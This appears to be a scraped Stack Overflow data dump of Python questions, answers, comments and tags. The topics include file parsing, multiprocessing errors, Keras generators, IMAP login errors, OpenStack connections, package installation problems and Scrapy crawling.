has body: I'm a begginer in Python, and I have a question about file reading : I need to process info in a file to write it in another one. I know how to do that, but it's reaaally ressource-consuming for my computer, as the file is really big, but I know how it's formatted ! The file follows that format : 4 13 9 3 4 7 3 3 3 3 3 5 2 1 I won't explain what it is for, as it would take ages and would not be very useful, but the file is essentialy made of four lines like these, again and again. For now, I use this to read the file and convert it in a very long chain : inputfile = open("input.txt", "r") output = open("output.txt", "w") Chain = inputfile.read() Chain = Chain.split("\n") Chained = ' '.join(Chain) Chain = Chained.split(" ") Chain = list(map(int, Chain)) Afterwards, I just treat it with "task IDs", but I feel like it's really not efficient. So do you know how I could divide the chain into multiple ones knowing how they are formatted? Thanks for reading !
has answer: http://stackoverflow.com/a/47365458
possible better answer: http://stackoverflow.com/a/47365458
has title: Dividing a .txt file in multiple parts in Python
tagged with: python
has answer: http://stackoverflow.com/a/47365182
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/81602701
type: QuestionComment
comment on: http://stackoverflow.com/q/47325984
score: 0
has text: what is your input and what is output ?
type: Comment

http://stackoverflow.com/comment/81548783
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47298033
has text: What do you have so far?
score: 1

http://stackoverflow.com/comment/81440667
has text: Doesn't matter. But it can be self.projectName.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47244748
score: 0

http://stackoverflow.com/q/47237112
downvote count: 0
has comment: http://stackoverflow.com/comment/81424630
answer count: 1
tagged with: concurrent.futures
favorite count: 0
tagged with: python-multiprocessing
type: Question
tagged with: python-3.x
has body: I have a pretty plain vanilla implementation of concurrent.futures.ProcessPoolExecutor -- something like (using Python 3.6): files = get_files() processor = get_processor_instance() with concurrent.futures.ProcessPoolExecutor() as executor: list(executor.map(processor.process, files)) While the processor is an instance of any of a number of available processor classes, they all share the process method, which looks roughly like this: def process(self, file): log.debug(f"Processing source file {file.name}.") with DBConnection(self.db_url) as session: file = session.merge(file) session.refresh(file) self._set_file(file) timer = perf_counter() try: self.records = self._get_records() self._save_output() except Exception as ex: log.warning(f"Failed to process source file {file.ORIGINAL_NAME}: {ex}") self.error_time = time.time() self.records = None else: process_duration = perf_counter() - timer log.info(f'File {file.name} processed in {process_duration:.6f} seconds.') file.process_duration = process_duration session.commit() Implementation of the _get_records and _save_output methods vary per class, but my problem is with handling of errors. I'm deliberately testing it so that one of those two methods runs out of memory, but I would expect the except block above to catch it and move the the next file -- and this is precisely what happens when I run the code in a single process. If I use ProcessPoolExecutor as described above, it raises the BrokenProcessPool exception and kills all execution: Traceback (most recent call last): File "/vagrant/myapp/myapp.py", line 94, in _process list(executor.map(processor.process, files)) File "/home/ubuntu/.pyenv/versions/3.6.3/lib/python3.6/concurrent/futures/process.py", line 366, in _chain_from_iterable_of_lists for element in iterable: File "/home/ubuntu/.pyenv/versions/3.6.3/lib/python3.6/concurrent/futures/_base.py", line 586, in result_iterator yield fs.pop().result() File "/home/ubuntu/.pyenv/versions/3.6.3/lib/python3.6/concur…
linked to: http://stackoverflow.com/q/19189522
tagged with: python
has title: Python concurrent.futures: handling exceptions in child processes
tagged with: python-3.6
has answer: http://stackoverflow.com/a/47287669
accepted answer: http://stackoverflow.com/a/47287669
type: AnsweredQuestion
score: 3
upvote count: 3

http://stackoverflow.com/a/47310332
accepted answer of: http://stackoverflow.com/q/47310264
score: 0
type: AcceptedAnswer
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81571847
answers question: http://stackoverflow.com/q/47310264
has comment: http://stackoverflow.com/comment/81571267
type: Answer
has body: Here you go:- def main(): morse_code = {"a":".-","b":"-...","c":"-.-.","d":"-..","e":".","f":"..-.","g":"--.","h":"....","i":"..","j":".---","k":"-.-","l":".-..", "m":"--","n":"-.","o":"---","p":".--.","q":"--.-","r":".-.","s":"...","t":"-","u":"..-","v":"...-","w":".--","x":"-..-","y":"-.--","z":"--.."} phrase = input("please enter your word or words: ") if any(char.isdigit() for char in phrase): print("try again") else: print("your word or sentence translated to morse code is : ", end = '') code = ' '.join(morse_code[key] for key in phrase) print(code) def retry(): main() retry()

http://stackoverflow.com/comment/81456135
score: 0
comment on: http://stackoverflow.com/a/47251567
type: Comment
type: AnswerComment
has text: It depends what add, if no dupe please give me know I can reopen. Tte best is add [mcve](https://stackoverflow.com/help/mcve) and explain why dupe does not work.

http://stackoverflow.com/comment/81435127
type: AnswerComment
has text: I want read words line by line from sentences, when a sentence end with ".", just it should add a newline after "."
comment on: http://stackoverflow.com/a/47241960
type: Comment
score: 0

http://stackoverflow.com/comment/81584414
type: QuestionComment
comment on: http://stackoverflow.com/q/47316575
has text: @quamrana. It passes well . I am asking because ,this is my first try on unittesting ,so i am not sure I am doing it the right way or not
score: 0
type: Comment

http://stackoverflow.com/q/47363899
tagged with: thread-safety
has comment: http://stackoverflow.com/comment/81686562
has answer: http://stackoverflow.com/a/47389743
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81682768
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: python
tagged with: keras
score: 2
has comment: http://stackoverflow.com/comment/81700946
has title: How to create a thread safe generator that reads one giant dataframe in Keras mode fit_generator
tagged with: deep-learning
has comment: http://stackoverflow.com/comment/81700874
has body: Keras newbie here. I am doing some deep learning experiment (keras 2.x, tensorflow as background, python3.5) on a very large CSV file. After loading CSV into Pandas dataframe, I need to read dataframe to transform the data into X_train, y_train/label. Because the X_train after the transformation is huge that can't fit into memory. I started using generator and model.fit_generator(). I have learned that by creating a thread-safe generator that I could use multiple workers and use_multiprocessing=True so that it's more efficient. However, inside generator it always reads the same dataframe in my case, I wonder how I could make it thread-safe in a sense that same data/row won't be read and yield by multiple generator instance? My current generator implementation without thread-safe is like: data = pd.read_csv("data.csv", header=0, delimiter="\t", quoting=3, encoding="utf-8") y = data.label X_train, X_test, y_train, y_test = train_test_split(data, y, test_size=0.2) def data_genereator(data, batch_size): num_rows = int(data.shape[0]) # Initialize a counter counter = 0 while True: for content, label in zip(data['content'], data['label']): X_train[counter%batch_size] = transform(content) y_train[counter%batch_size] = np.asarray(label) counter = counter + 1 if(counter%batch_size == 0): yield X_train, y_train training_generator = data_genereator(X_train, batch_size=1024) validation_generator = data_genereator(X_test, batch_size=1024) model = Sequential() model.add(LSTM(64, input_shape=(1000, 2400), return_sequences=False, kernel_initializer='he_normal', dropout=0.15, recurrent_dropout=0.15, implementation=2)) model.add(Dropout(0.3)) model.add(Dense(1, activation = 'sigmoid')) model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) model.fit_generator(training_generator, steps_per_epoch=8000, validation_data=validation_generator, epochs=3, verbose=1, workers=1, use_multiprocessing=False, validation_steps=2000) I might be totally wrong but want to get…
answer count: 1

http://stackoverflow.com/q/47250376
tagged with: pylint
tagged with: python
score: 1
has body: Unfortunately, I have to use pipenv (not my decision), and Python 3 (again, not my decision) in a project that needs to use py.xml package. And it also needs to pass pylint verification. One of the files in this project has this: from py.xml import html Even though py is installed in virtual environment, pylint cannot find it, while it... can find it. This seems more like a problem with pylint, but maybe not. I have no idea how to debug this mess. Below is the proof of pylint split personality: PYTHONPATH=$(pwd) pipenv run pylint --init-hook 'from py.xml import html;print(type(html))' some_module &lt;class 'py._xmlgen.NamespaceMetaclass'&gt; ************* Module some_module E: 8, 0: No name 'xml' in module 'py' (no-name-in-module) E: 8, 0: Unable to import 'py.xml' (import-error) Not sure if I get any bonus karma points for the irony in the line above, but if you are new to the concepts of virtualization, I might just put a little note here: It makes no sense to specify PYTHONPATH when running a program which is supposed to set up your virtual environment, yet, for all the loads of nonsense code it contains, the only thing it was supposed to do, it doesn't. Doesn't even try, actually. Oh, and in case you thought that py may have been installed somewhere else, and somehow was not accessible to pylint... well, it wasn't: PYTHONPATH=$(pwd) pipenv run pylint --init-hook 'from py.xml import html;import inspect;print(inspect.getfile(html))' automation /home/wvxvw/.local/share/virtualenvs/some_module-UoeXL6dQ/lib/python3.5/site-packages/py/_xmlgen.py ************* Module automation.conftest E: 8, 0: No name 'xml' in module 'py' (no-name-in-module) E: 8, 0: Unable to import 'py.xml' (import-error)
answer count: 1
upvote count: 1
favorite count: 0
type: Question
has title: No name 'xml' in module 'py'
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47251381
downvote count: 0

http://stackoverflow.com/comment/81674874
score: 0
comment on: http://stackoverflow.com/a/47347033
type: AnswerComment
has text: Thanks @jezrael. But I found a weird thing: the dfs rows will be shifted in the concated df. Each dfs rows will be shifted 1 row ahead for each PropCode. Any thoughts?
type: Comment

http://stackoverflow.com/comment/81678912
type: QuestionComment
has text: @OluwafemiSule 3.6.3 (v3.6.3:2c5fed8, Oct 3 2017, 17:26:49) [MSC v.1900 32 bit (Intel)]
comment on: http://stackoverflow.com/q/47362784
type: Comment
score: 0

http://stackoverflow.com/q/47369326
has answer: http://stackoverflow.com/a/47382347
type: AnsweredQuestion
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/81703279
downvote count: 0
tagged with: gmail-imap
upvote count: 1
tagged with: imaplib
has comment: http://stackoverflow.com/comment/81696533
favorite count: 0
type: Question
has body: I would like to contact the google mail servers, but all I get the following error code: TypeError: can't concat bytes to IMAP4_SSL I have udpated my account settings in google as well to enable IMAP My code so far (very basic, I know :) ): import imaplib mail = "mail@gmail.com" pwd = "pwd" smtp_server = "imap.gmail.com" smtp_port = 993 mail = imaplib.IMAP4_SSL(smtp_server) mail.login(mail,pwd) My questions: What does this error code mean? Why do I get it? How can I solve it? Thank you very much for helping. Currently Im just playing around in Python, but I have a hard time to understand this. Also Im already stuck on this for some time. Regards, Sjaak Update: Hi Max, See below the error it generates: mail.login(mail,pwd) File "/usr/lib/python3.5/imaplib.py", line 580, in login typ, dat = self._simple_command('LOGIN', user, self._quote(password)) File "/usr/lib/python3.5/imaplib.py", line 1180, in _simple_command return self._command_complete(name, self._command(name, *args)) File "/usr/lib/python3.5/imaplib.py", line 945, in _command data = data + b' ' + arg TypeError: can't concat bytes to IMAP4_SSL The version of Python: 3.5.2 Thx. Regards, Sjaak – Update: It worked! thx for helping out
has title: TypeError: can't concat bytes to IMAP4_SSL
accepted answer: http://stackoverflow.com/a/47382347
tagged with: imap
tagged with: python

http://stackoverflow.com/q/47303681
type: UnansweredQuestion
has title: not able to connect using api openstack
score: 0
tagged with: django-rest-framework
answer count: 1
tagged with: openstack
tagged with: python-3.x
has body: I am trying to use the lib cloud library to connect to my local openstack installation. below is the code I am trying to execute: from libcloud.compute.types import Provider from libcloud.compute.providers import get_driver # Authentication information so you can authenticate to DreamCompute # copy the details from the OpenStack RC file # https://dashboard.dreamcompute.com/project/access_and_security/api_access/openrc/ auth_username = 'admin' auth_password = 'f882e2f4eaad434c' TENANT_NAME = 'admin' project_name = 'admin' auth_url = 'http://192.168.56.101:5000' #auth_url = 'http://192.168.56.101:5000' region_name = 'RegionOne' OpenStack = get_driver(Provider.OPENSTACK) driver = OpenStack('auth_username', 'auth_password', ex_force_auth_url=auth_url, ex_force_base_url='http://192.168.56.101', ex_force_auth_version='2.0_password', ex_tenant_name='admin', ex_force_service_name='nova', ex_force_service_region=region_name) print(dir(driver.list_nodes)) print(driver.api_name) print(driver.VOLUME_STATE_MAP) #print(driver.connection.auth_user_info) images = driver.name print(driver.list_volumes()) """for image in images: print(image) """ However I keep getting the error message resource not found: C:\Python dev\website\music\openstack&gt;python openstack.py ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__func__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] openstack {'creating': 'creating', 'available': 'available', 'attaching': 'attaching', 'in-use': 'inuse', 'deleting': 'deleting', 'error': 'error', 'error_deleting': 'error', 'backing-up': 'backup', 'restoring-backup': 'backup', 'error_restoring': 'error', 'error_extending': 'error'} Traceback (most recent call last): File "openstack.py", line 31, in &lt;module&gt; print(driver.…
tagged with: rest
type: Question
has answer: http://stackoverflow.com/a/47332876
tagged with: python

http://stackoverflow.com/a/47301893
type: Answer
has comment: http://stackoverflow.com/comment/81555035
downvote count: 0
has comment: http://stackoverflow.com/comment/81555279
type: AcceptedAnswer
has body: Use the str.translate() method to apply the same translation table to all strings: removetable = str.maketrans('', '', '@#%') out_list = [s.translate(removetable) for s in my_list] The str.maketrans() static method is a helpful tool to produce the translation map; the first two arguments are empty strings because you are not replacing characters, only removing. The third string holds all characters you want to remove. Demo: &gt;&gt;&gt; my_list = ["on@3", "two#", "thre%e"] &gt;&gt;&gt; removetable = str.maketrans('', '', '@#%') &gt;&gt;&gt; [s.translate(removetable) for s in my_list] ['on3', 'two', 'three']
accepted answer of: http://stackoverflow.com/q/47301795
answers question: http://stackoverflow.com/q/47301795
has comment: http://stackoverflow.com/comment/81555336
score: 10
upvote count: 10

http://stackoverflow.com/comment/81628412
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47320720
type: Comment
has text: Hi Nick, generate the csv file and then from shell command line do the following - bcp in <csv file> -S <server> -U <user> -P <password> -d <database> -t "\t" -r "\n" -e <errror file>. This will prompt you to enter the SQL type for each column. Notice the "-c" option missing in bcp.

http://stackoverflow.com/a/47297189
has body: A simple list comprehension will do, converting each inner array to a tuple before passing it to the dict for lookup: &gt;&gt;&gt; out = [a[tuple(x)] for x in b] &gt;&gt;&gt; out ['Car', 'Traffic Light', 'Pedestrian']
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47297161
accepted answer of: http://stackoverflow.com/q/47297161

http://stackoverflow.com/q/47356433
answer count: 1
tagged with: machine-learning
tagged with: scikit-learn
tagged with: python
favorite count: 0
accepted answer: http://stackoverflow.com/a/47356701
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81665695
tagged with: svm
has answer: http://stackoverflow.com/a/47356701
has comment: http://stackoverflow.com/comment/81665596
has body: I am stuck on using the Multilabel binarizer and One-vs-all classifier in scikit-learn . My challenge is once I obtain the predictions, to obtain the original labels. (I trained and pickled the one-vs-rest classifier and vectorizer separately) _labels = load_labels() mlb = MultiLabelBinarizer() mlb.fit_transform(_labels) print mlb.classes_ # this prints the binarized labels _clf,_vect = load_pickle('./pickles') for q in queries: #query vector q X = vect.transform([q]) res = clf.predict_proba(X) print res #[[ 0.00164113 0.00706595 0.00683465 .... 0.00837984]] #this is where I am stuck on what to pass into the inverse_transform to obtain preds = mlb.inverse_transform(??) print preds Thanks for your help in advance!
tagged with: scipy
has title: Multilabel binarizer - getting the inverse transform
type: Question
has comment: http://stackoverflow.com/comment/81665670
has comment: http://stackoverflow.com/comment/81665890
upvote count: 3
downvote count: 0

http://stackoverflow.com/q/47362736
has title: How to fix AttributeError: 'module' object has no attribute 'Client' when running python in Google Cloud Interactive Shell
tagged with: google-cloud-shell
has answer: http://stackoverflow.com/a/47363542
accepted answer: http://stackoverflow.com/a/47410109
tagged with: python
type: AnsweredQuestion
upvote count: 3
score: 3
tagged with: python-2.7
answer count: 3
has body: I'm trying to run a python script that simulates traffic sensors sending in data in real time to PubSub on my Google Cloud Shell. I'm getting this error Traceback (most recent call last): File "./send_sensor_data.py", line 87, in &lt;module&gt; psclient = pubsub.Client() AttributeError: 'module' object has no attribute 'Client' Tried running google.cloud.pubsub.__file__, no duplicates exist. I've been searching everywhere and the popular consensus was to install the pubsub package into a virtual environment which I've tried to no avail. What I've tried so far: Set VM to clean state Uninstalled and reinstalled all gcloud components Updated all gcloud components to the latest version uninsalled and reinstalled python pubsub library Installed pubsub inside a virtualenv Tried from a different project Tried from a different GCP account This is my script: import time import gzip import logging import argparse import datetime from google.cloud import pubsub TIME_FORMAT = '%Y-%m-%d %H:%M:%S' TOPIC = 'sandiego' INPUT = 'sensor_obs2008.csv.gz' def publish(topic, events): numobs = len(events) if numobs &gt; 0: with topic.batch() as batch: logging.info('Publishing {} events from {}'. format(numobs, get_timestamp(events[0]))) for event_data in events: batch.publish(event_data) def get_timestamp(line): # look at first field of row timestamp = line.split(',')[0] return datetime.datetime.strptime(timestamp, TIME_FORMAT) def simulate(topic, ifp, firstObsTime, programStart, speedFactor): # sleep computation def compute_sleep_secs(obs_time): time_elapsed = (datetime.datetime.utcnow() - programStart).seconds sim_time_elapsed = (obs_time - firstObsTime).seconds / speedFactor to_sleep_secs = sim_time_elapsed - time_elapsed return to_sleep_secs topublish = list() for line in ifp: event_data = line # entire line of input CSV is the message obs_time = get_timestamp(line) # from first column # how much time should we sleep? if compute_sleep_secs(obs_time) &gt; 1: # notify the accumulated top…
downvote count: 0
tagged with: google-cloud-platform
has answer: http://stackoverflow.com/a/47410109
tagged with: google-cloud-pubsub
possible better answer: http://stackoverflow.com/a/57025079
favorite count: 0
has answer: http://stackoverflow.com/a/57025079
type: Question

http://stackoverflow.com/q/47361537
linked to: http://stackoverflow.com/q/49748063
favorite count: 0
type: Question
score: 3
type: UnansweredQuestion
upvote count: 5
has comment: http://stackoverflow.com/comment/81698988
has answer: http://stackoverflow.com/a/49884867
tagged with: python
has comment: http://stackoverflow.com/comment/86587886
has comment: http://stackoverflow.com/comment/81693202
has body: This is my first question on this site so I hope I format this correctly. I also am very new to programming so bear with my lack of knowledge, thank you! I'm trying to install pyHook like so and I keep getting this error message: C:\Python27&gt;py -2.7 -m pip install pyHook-1.5.1-cp27-cp27M-win_amd64.whl pyHook-1.5.1-cp27-cp27M-win_amd64.whl is not a supported wheel on this platform. I have python 2.7.14 as you can see from below: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)] on win32 Just in case, I tried updating pip and It said it was up to date. I also tried install this version of the .whl and I get the same error: C:\Python27&gt;py -2.7 -m pip install pyHook-1.5.1-cp27-cp27m-win32.whl pyHook-1.5.1-cp27-cp27m-win32.whl is not a supported wheel on this platform. From reading online I believe cp27 indicates its for python 2.7 and to be safe I tried the 64 bit and 32 bit files, but nothing seems to work. If anyone could offer up any solutions or advice, it would be greatly appreciated!
has comment: http://stackoverflow.com/comment/86688540
has answer: http://stackoverflow.com/a/49786915
has comment: http://stackoverflow.com/comment/86587830
has comment: http://stackoverflow.com/comment/86804556
has comment: http://stackoverflow.com/comment/86795548
answer count: 2
has comment: http://stackoverflow.com/comment/86657263
has title: Trouble installing and importing pyHook
downvote count: 2
tagged with: pyhook
has comment: http://stackoverflow.com/comment/86588553
has comment: http://stackoverflow.com/comment/86742868
tagged with: pip
has comment: http://stackoverflow.com/comment/86702067
has comment: http://stackoverflow.com/comment/86742700

http://stackoverflow.com/q/47351422
has comment: http://stackoverflow.com/comment/81847866
type: Question
score: 0
has body: I am building opencv 3.3.1 from source on CentOS. cmake -D CMAKE_BUILD_TYPE=RELEASE -D BUILD_PYTHON_SUPPORT=ON -DWITH_IPP=OFF -D CMAKE_INSTALL_PREFIX=/mydir .. I have python version 2.7.13 installed in anaconda. I have configure the enrironment vars with regarding to anaconda. After I run cmake, the output shows that it has found the python related path under anaconda, messages like these: - Python 2: -- Interpreter: /anaconda/bin/python2.7 (ver 2.7.13) -- Python (for build): /anaconda/bin/python2.7 -- Pylint: /anaconda/bin/pylint (ver: 1.6.4, checks: 110) But it could not find these options: -- Libraries: -- numpy: -- packages path: So finally it did not build python2. I searched on my anaconda installation, these files are are all there. It is just that cmake cannot find them. Then I suppose I can let cmake find them by setting the environment variables. So I added these lines in my .bashrc export PATH=/anaconda/bin:/usr/local/bin:/usr/local/cuda/bin:$PATH export PKG_CONFIG_PATH=/anaconda/lib/pkgconfig:/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH export LD_LIBRARY_PATH=/anaconda/lib:/usr/local/cuda/lib64:/usr/local/lib:/usr/local/lib64:$LD_LIBRARY_PATH export PYTHONPATH=/anaconda/lib/python2.7/site-packages:$PYTHONPATH I run ldconfig, logout and login, clear build directory and run cmake again. Unfortunately, it still cannot find these option. So what is wrong here?
answer count: 0
has comment: http://stackoverflow.com/comment/81854657
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81863737
tagged with: opencv
tagged with: anaconda
has comment: http://stackoverflow.com/comment/81766445
tagged with: python
has title: Building opencv 3.1, cannot find libpython although it is there
has comment: http://stackoverflow.com/comment/81766421

http://stackoverflow.com/comment/81659837
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47353297
has text: I suspect that you want `multiList` to contain `[[1], [2], [3], [4], [5]]`, but you **need** to tell us that. Also, do you want to mutate the existing `multiList` or is it ok to create a fresh 2D list? If you don't clarify these points, then it's likely that the question will be put on hold.

http://stackoverflow.com/q/47265105
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: python-2.7
tagged with: sockets
score: 1
tagged with: pygtk
has body: I've tried to search, but nothing seems to work. For example: Separate threads I am currently writing simple communication app in Python2.7 with PyGTK. I have background process, which is listening socket in while loop like that. I want to display message, when I receive it form server. But when I start gtk.main(), it obviously starts to loop again, so my listening loop doesn't working. I need to display new window for each message or close old window and display new window with all unread messages. Can I somehow display window (or more than one window) and don't block my listening loop? IOChannel solution while True: #listening loop print 'Start' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) sock.bind((socket.gethostname(), 80)) sock.listen(2) conn, address = sock.accept() conn.sendall('200 OK') fd = conn.fileno() #Make file descriptor from socket gio_channel = glib.IOChannel(fd) #Pass it to IOChannel if(new_message): #display message with gtk.main() else #Do something else like update file subprocess.Popen solution while True: #listening loop print 'Start' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) sock.bind((socket.gethostname(), 80)) sock.listen(2) conn, address = sock.accept() conn.sendall('200 OK') all_json = conn.recv(2048) if(new_message): # This script run pygtk app in the background subprocess.Popen(['python', 'communication_app.py']) else #Do something else like update file
linked to: http://stackoverflow.com/q/685224
tagged with: python
has answer: http://stackoverflow.com/a/47268692
tagged with: gtk2
linked to: http://stackoverflow.com/q/19294929
accepted answer: http://stackoverflow.com/a/47268692
downvote count: 0
answer count: 1
upvote count: 1
has title: How to listen socket, when app is running in gtk.main()?

http://stackoverflow.com/a/47240430
downvote count: 0
type: Answer
upvote count: 1
has body: The problem might be that makeAbsolutePaths is not part of the spider class. The documentation states: process_links is a callable, or a string (in which case a method from the spider object with that name will be used) You did not use self in makeAbsolutePaths, so I assume it is not an indentation error. makeAbsolutePaths also has some other errors. If we correct the code to this state: import scrapy from scrapy.spiders import CrawlSpider, Rule from scrapy.linkextractors import LinkExtractor class HiddenAnswersSpider(CrawlSpider): name = 'ha' start_urls = ['file:///home/user/testscrapy/test.html'] allowed_domains = [] rules = ( Rule(LinkExtractor(allow=(r'.*')), follow=True, process_links='makeAbsolutePath'), ) def makeAbsolutePath(self, links): print(links) for i in range(links): links[i] = links[i].replace("../","") return links it will yield this error: TypeError: 'list' object cannot be interpreted as an integer This is, because no call to len() was used in the call to range and range can only operate on integers. It wants a number and will give you the range from 0 to this number minus 1. After fixing this issue, it will give the error: AttributeError: 'Link' object has no attribute 'replace' This is - because unlike you thought - links is not a list of strings containing the contents of href="" attributes. Instead, it is a list of Link objects. I'd recommend you output the contents of links inside makeAbsolutePath and see, if you have to do anything at all. In my opinion, scrapy should already stop resolving .. operators once it reaches the domain level, so your links should point to http://answerstedhctbek.onion/&lt;number&gt;/&lt;title&gt;, even though the site uses .. operator without an actual folder level (as the URL is /questions and not /questions/). Somehow like this: def makeAbsolutePath(self, links): for i in range(len(links)): print(links[i].url) return [] (Returning an empty list here gives you the advantage that the spider will stop and you can c…
score: 1
has comment: http://stackoverflow.com/comment/81435707
answers question: http://stackoverflow.com/q/47239217

http://stackoverflow.com/comment/83146097
type: QuestionComment
has text: So in your dist folder contains a *Microsoft.VC90.CRT* folder containing 3 dlls (*msvc?90.dll*) and a *Microsoft.VC90.CRT.manifest*? Also, do you plan to distribute your app publicly (to customers)? If yes, you should be aware of the redistribution terms. The 2nd part seems a different question totally unrelated to this.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47317929

http://stackoverflow.com/comment/81599300
type: AnswerComment
comment on: http://stackoverflow.com/a/47321214
score: 0
has text: Thanks, one thing should be mentioned that the td-idf are float value, which is usually less than 1 in my case, if I transform the float value into integer, the program will work, however ,will cause a greater trouble because there will be a lot of zeros and the difference (weight) between terms will be ignored, which means the LDA method will not work, because we transform a lot of weight values into zero. I was considering that may be the lda package can only accept integers such as term frequency?
type: Comment

http://stackoverflow.com/a/47225992
has body: I believe you would need to split the string and read the 'parameters'. There is no way for python to translate your string to parameters. Guess you could use eval... but its ugly. What you could do is build a string "my_func(alpha, beta = 100, *args)" and eval it: eval("my_func(alpha, beta = 100, *args)") You can also do this: my_func(eval("alpha, beta = 100, *args")) However, you may want to make changes to your function because this will give you an error as is. If you are passing a variable number of objects, use args that is what it is there for.
has comment: http://stackoverflow.com/comment/81402112
has comment: http://stackoverflow.com/comment/81402717
upvote count: 0
answers question: http://stackoverflow.com/q/47225900
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/81402823
has comment: http://stackoverflow.com/comment/81402639
downvote count: 1

http://stackoverflow.com/a/47225396
answers question: http://stackoverflow.com/q/47224818
score: 1
has body: takewhile and dropwhlie from itertools are made for that. from itertools import takewhile, dropwhile def from_to(filename, start, end): with open(filename) as f: stripped = (line.rstrip() for line in f) dropped = dropwhile(lambda line: line != start, stripped) taken = takewhile(lambda line: line != end, dropped) for item in taken: yield item yield end Demo with your file: &gt;&gt;&gt; list(from_to('test.txt', 'Carrot', 'Tomato')) ['Carrot', 'Spinach', 'Lettuce', 'Tomato'] This approach has the advantage that you don't give up the iterator properties of an opened file, so there will be no memoery problems with very large files.
downvote count: 0
upvote count: 1
type: Answer

generator
type: Tag
tags question: http://stackoverflow.com/q/47299665
tags question: http://stackoverflow.com/q/47379834
tags question: http://stackoverflow.com/q/47238410
tags question: http://stackoverflow.com/q/47363395
tag name: generator
tags question: http://stackoverflow.com/q/47348164
tags question: http://stackoverflow.com/q/47329423
tags question: http://stackoverflow.com/q/47375638

http://stackoverflow.com/comment/81514321
score: 0
has text: The `final_list` you've posted now is invalid. The problem obviously lies with that list, not with the logic you've posted.
comment on: http://stackoverflow.com/q/47281904
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47288642
type: Question
has comment: http://stackoverflow.com/comment/81527860
tagged with: regression
answer count: 1
has comment: http://stackoverflow.com/comment/81528273
tagged with: tensorflow
has body: I am currently doing an exercise for university. The task is to change a given classification to regression. I did all the changes to the data's preprocessing and the network, so the regression is executed. But when I try to test the network's prediction, there are insanely wrong values predicted. The data is a pixel matrix and a corresponding angle between 0° and 90°. I have splitted up the data to a training set and a testing set and checked all the values in both sets are in range 0° to 90°. To test the accuracy of the regression I run the following code: def reg_perceptron(t, weights, biases): t = tf.nn.relu(tf.add(tf.matmul(t, weights['h1']), biases['b1']), name = "layer_1") t = tf.add(tf.matmul(t, weights['hOut'], name="LOut_MatMul"), biases['bOut'], name = output_tensor) return t pred = reg_perceptron(_x, rg_weights, rg_biases) pred_y = np.array([]) total_batch_test = int(len(test_x)/batch_size) for i in range(total_batch_test): lower_bound = i * batch_size upper_bound = i * batch_size + batch_size batch_test_x = test_x[lower_bound : upper_bound]#test_x are the pixel matrices of the test dataset feed_dict = {_x: batch_test_x} batch_test_y_predict = sess.run(pred, feed_dict = feed_dict) print ("min: %.2f max: %.2f" % (batch_test_y_predict.min(), batch_test_y_predict.max())) #WHY ARE THERE VALUES LIKE min: -13563819760524520849408.00 max: 1280719166070321053696.00 PREDICTED? if len(pred_y) == 0: pred_y = batch_test_y_predict else: pred_y = np.concatenate((pred_y, batch_test_y_predict), axis=0) # Print test results. pred_y = pd.Series(pred_y.reshape(-1).tolist()) #cut of the last elements if division by batch_size has rest true_y = test_y[:pred_y.size] RMSE = np.sqrt(np.mean(np.square(np.subtract(pred_y, true_y)))) print ("Epoch: %3.i - RMSE: %.2f" % (epoch, RMSE)) Why are there values in range min: -13563819760524520849408.00 max: 1280719166070321053696.00 predicted, if the training data was only in range 0° to 90°? Thus I get the result: Epoch: 0 - RMSE: 23738…
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47310980
tagged with: linear-regression
has answer: http://stackoverflow.com/a/47310980
has title: Tensorflow Regression is predicting insanely wrong values
tagged with: python
has comment: http://stackoverflow.com/comment/81527986

http://stackoverflow.com/comment/81538687
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47293627
has text: humm .. above what ? it should be above if statement
score: 0

http://stackoverflow.com/q/47293793
has comment: http://stackoverflow.com/comment/81538802
has answer: http://stackoverflow.com/a/47324760
possible better answer: http://stackoverflow.com/a/47324760
has comment: http://stackoverflow.com/comment/81538798
score: 1
has comment: http://stackoverflow.com/comment/81539019
has title: How to reduce/optimize memory usage when calculating area of skyline?
has comment: http://stackoverflow.com/comment/81538961
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81538639
has comment: http://stackoverflow.com/comment/81538856
answer count: 2
has answer: http://stackoverflow.com/a/47294385
upvote count: 2
accepted answer: http://stackoverflow.com/a/47294385
has comment: http://stackoverflow.com/comment/81539071
tagged with: algorithm
has comment: http://stackoverflow.com/comment/81538988
tagged with: python
has comment: http://stackoverflow.com/comment/81539289
downvote count: 1
